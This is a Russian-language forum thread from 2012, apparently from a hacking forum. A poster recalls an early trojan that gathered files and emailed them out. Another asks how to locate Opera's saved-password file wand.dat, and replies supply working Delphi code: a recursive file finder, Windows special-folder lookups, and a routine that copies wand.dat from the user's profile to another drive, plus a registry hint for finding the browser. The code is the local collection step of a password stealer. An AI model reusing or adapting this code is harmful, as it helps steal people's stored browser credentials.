Эм, когда-то в самом первом троянце использовал такую систему. Там он находил такие файлы, склеивал их в один, потом отправлял на мыло. Дальше с помощью специальной утилиты распаковывался, причем учитывалось что с одинаковым названием могут быть несколько файлов. Но способ немного муторный, хотя если заинтересует - поделюсь кодом, хотя там функции с инета были взяты.
зная имя и расширение кстати это файл паролей оперы wand.dat как его найти?
Функция была взята с инета, немного подкорректирована:
Code
{Процедура ищет файлы по маске (*.*) и записывает результаты поиска в файл. Входящие параметры: path - в какой папке искать будем, можно задать и только имя диска, но поиск будет дольше mask - маска искомого(искомых) файла, например *.txt, *.doc, *.* DestinationFile - в какой файл сохранять результат} procedure FindCookiesOpera(const path: string; const mask: string; const DestinationFile: string); var fullpath: string; function recurse(var path: string; const mask: string; const DestinationFile: string): boolean; var srec: tsearchrec; retval: integer; oldlen: integer; begin recurse:= true; oldlen:= length(path); retval:= findfirst(path+mask, faanyfile, srec); while retval = 0 do begin if (srec.attr and (fadirectory or favolumeid)) = 0 then SaveToFile(path+srec.name, DestinationFile); retval := findnext(srec); end; findclose(srec); if not result then exit; retval := findfirst(path+'*.*', fadirectory, srec); while retval = 0 do begin if (srec.attr and fadirectory) <> 0 then if (srec.name <> '.') and (srec.name <> '..') then begin path := path + srec.name + '\'; if not recurse(path, mask, DestinationFile) then begin result := false; break; end; delete(path, oldlen+1, 255); end; retval := findnext(srec); end; findclose(srec); end; begin if path = '' then getdir(0, fullpath) else fullpath := path; if fullpath[length(fullpath)] <> '\' then fullpath := fullpath + '\'; if mask = '' then recurse(fullpath, '*.*', DestinationFile) else recurse(fullpath, mask, DestinationFile); end;
Из непоняток будет что такое процедура SaveToFile? Обычное сохранение в лог, впрочем не суть важно куда результат девать. Вот и вторая непонятка:
Code
{Функция определяет пути системных папок. Входящий параметр - id этой папки.} function GetSpecialPath(CSIDL: word): string; var s: string; begin SetLength(s, MAX_PATH); if not SHGetSpecialFolderPath(0, PChar(s), CSIDL, true) then s := GetSpecialPath(CSIDL_APPDATA); result := PChar(s); end;
Вот и список id папок:
// Следующие идентификаторы имеются в модуле ShlObj: CSIDL_DESKTOP = $0000; // Виртуальный каталог, представляющий Рабочий стол. (Корень в проводнике) CSIDL_INTERNET = $0001; // Виртуальный каталог для Internet Explorer. CSIDL_PROGRAMS = $0002; // Меню Пуск -> Программы CSIDL_CONTROLS = $0003; // Виртуальный каталог, содержащий иконки пунктов панели управления CSIDL_PRINTERS = $0004; // Виртуальный каталог, содержащий установленные принтеры CSIDL_PERSONAL = $0005; // Виртуальный каталог, представляющий папку "Мои документы" // До Vista ссылался на какталог "Мои документы" на жёстком диске CSIDL_FAVORITES = $0006; // Избранное. (обычно C:\Documents and Settings\username\Favorites) CSIDL_STARTUP = $0007; // Пуск -> Программы -> Автозагрузка CSIDL_RECENT = $0008; // Недавние документы (обычно C:\Documents and Settings\username\My Recent Documents // Для добавления ссылки документа используйте SHAddToRecentDocs CSIDL_SENDTO = $0009; // Папка, содержащая ярлыки меню "Отправить" (Sent to...) (обычно C:\Documents and Settings\username\SendTo) CSIDL_BITBUCKET = $000a; // Виртуальный каталог, содержащий файлы в корзине текущего пользователя CSIDL_STARTMENU = $000b; // Элементы меню Пуск текущего пользователя (обычно C:\Documents and Settings\username\Start Menu) CSIDL_DESKTOPDIRECTORY = $0010; // Рабочий стол текущего пользователя (обычно C:\Documents and Settings\username\Desktop) CSIDL_DRIVES = $0011; // Виртуальный каталог, представляющий папку "Мой компьютер" CSIDL_NETWORK = $0012; // Виртуальный каталог, представляющий "Сетевое окружение" CSIDL_NETHOOD = $0013; // Папка "My Nethood Places" (обычно C:\Documents and Settings\username\NetHood) // В неё ссылки на избранные расшаренные ресурсы CSIDL_FONTS = $0014; // Папка, содержащая установленные шрифты. (обычно C:\Windows\Fonts) CSIDL_TEMPLATES = $0015; // Шаблоны документов. (Обычно Settings\username\Templates) CSIDL_COMMON_STARTMENU = $0016; // Элементы меню Пуск для всех пользователей. (обычно C:\Documents and Settings\All Users\Start Menu) // Константы, начинающиеся на CSIDL_COMMON_ существуют только в NT версиях CSIDL_COMMON_PROGRAMS = $0017; // Меню Пуск -> программы для всех пользователей (обычно C:\Documents and Settings\All Users\Start Menu\Programs) CSIDL_COMMON_STARTUP = $0018; // Меню Пуск -> Программы -> Автозагрузка для всех пользователей (обычно C:\Documents and Settings\All Users\Start Menu\Programs\Startup) CSIDL_COMMON_DESKTOPDIRECTORY = $0019; // Элементы Рабочего стола для всех пользователей (обычно C:\Documents and Settings\All Users\Desktop) CSIDL_APPDATA = $001a; // Папка, в которой рограммы должны хранить свои данные(C:\Documents and Settings\username\Application Data) CSIDL_PRINTHOOD = $001b; // Установленные принтеры. (обычно C:\Documents and Settings\username\PrintHood) CSIDL_ALTSTARTUP = $001d; // DBCS // user's nonlocalized Startup program group. Устарело. CSIDL_COMMON_ALTSTARTUP = $001e; // DBCS // Устарело CSIDL_COMMON_FAVORITES = $001f; // Ссылки "Избранное" для всех пользователей CSIDL_INTERNET_CACHE = $0020; // Временные Internet файлы (обычно C:\Documents and Settings\username\Local Settings\Temporary Internet Files) CSIDL_COOKIES = $0021; // Папка для хранения Cookies (обычно C:\Documents and Settings\username\Cookies) CSIDL_HISTORY = $0022; // Хранит ссылки интернет истории IE } // Следующих идентификаторов нет в ShlObj: CSIDL_ADMINTOOLS = $30; // Административные инструменты текущего пользователя (например консоль MMC). Win2000+
CSIDL_CDBURN_AREA = $3b; // Папка для файлов, подготовленных к записи на CD/DVD // (Обычно C:\Documents and Settings\username\Local Settings\Application Data\Microsoft\CD Burning)
CSIDL_COMMON_TEMPLATES = $2d; // Папка шаблонов документов для всех пользователей (Обычно C:\Documents and Settings\All Users\Templates)
CSIDL_COMMON_MUSIC = $35; // Папка "Моя музыка" для всех пользователей. (обычно C:\Documents and Settings\All Users\Documents\My Music)
CSIDL_COMMON_PICTURES = $36; // Папка "Мои рисунки" для всех пользователей. (обычно C:\Documents and Settings\All Users\Documents\My Pictures)
CSIDL_COMMON_VIDEO = $37; // Папка "Моё видео" для всех пользователей (C:\Documents and Settings\All Users\Documents\My Videos)
CSIDL_COMPUTERSNEARME = $3d; // Виртуальная папка, представляет список компьютеров в вашей рабочей группе
CSIDL_CONNECTIONS = $31; // Виртуальная папка, представляет список сетевых подключений
CSIDL_LOCAL_APPDATA = $1c; // AppData для приложений, которые не переносятся на другой компьютер (обычно C:\Documents and Settings\username\Local Settings\Application Data)
Пароли от опреры хронатся в: X:\Documents and Settings\Home\Application Data\Opera\Opera\profile или бывает у некоторых ещё X:\Program Files\Opera\profile\wand.dat В других местах искать нет смысла. Вот код:
Code
function GetDOSEnvVar(const VarName: string): string; var i: integer; begin Result := ''; try i := GetEnvironmentVariable(PChar(VarName), nil, 0); if i > 0 then begin SetLength(Result, i); GetEnvironmentVariable(Pchar(VarName), PChar(Result), i); end; except Result := ''; end; end;
function GetLatter:String; Var C:array[0..255] of char; S:string; begin GetWindowsDirectory(C,255); S:=String(C); Result:=Copy(S,1,3); end;
procedure TForm1.Button1Click(Sender: TObject); Var S,path,output:String; begin path:=GetDOSEnvVar('APPDATA'); S:=GetLatter+'Program Files\Opera\profile\wand.dat'; output:='D:\wand.dat'; delete(path,Length(path),1); path:=path+'\Opera\Opera\profile\wand.dat';
if FileExists(path) then CopyFile(PANSIChar(path),PANSIChar(output), false) else if FileExists(S) then CopyFile(PANSIChar(S), PANSIChar(output), false) else end;
Сообщение отредактировал Neo - Суббота, 21.07.2012, 15:34
Дата: Воскресенье, 22.07.2012, 18:31 | Сообщение # 11
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
toly19 возьми за основу функцию поиска по заданному параметру "Opera\profile\wand.dat", тем более что если тебе нужно конкретно из Оперы, то для определения папки в которой она установлена просто проверь ключ реестра:
Code
HKEY_CLASSES_ROOT\http\shell\open\command
PS: вариантов много, для простых задач можно и так сделать, а для более сложных, например поиск обычного (ни к чему не относящегося) файла в дебрях системы зная только его имя и расширение лучше юзать предложенные функции...
Сообщение отредактировал xXxSh@dowxXx - Воскресенье, 22.07.2012, 18:34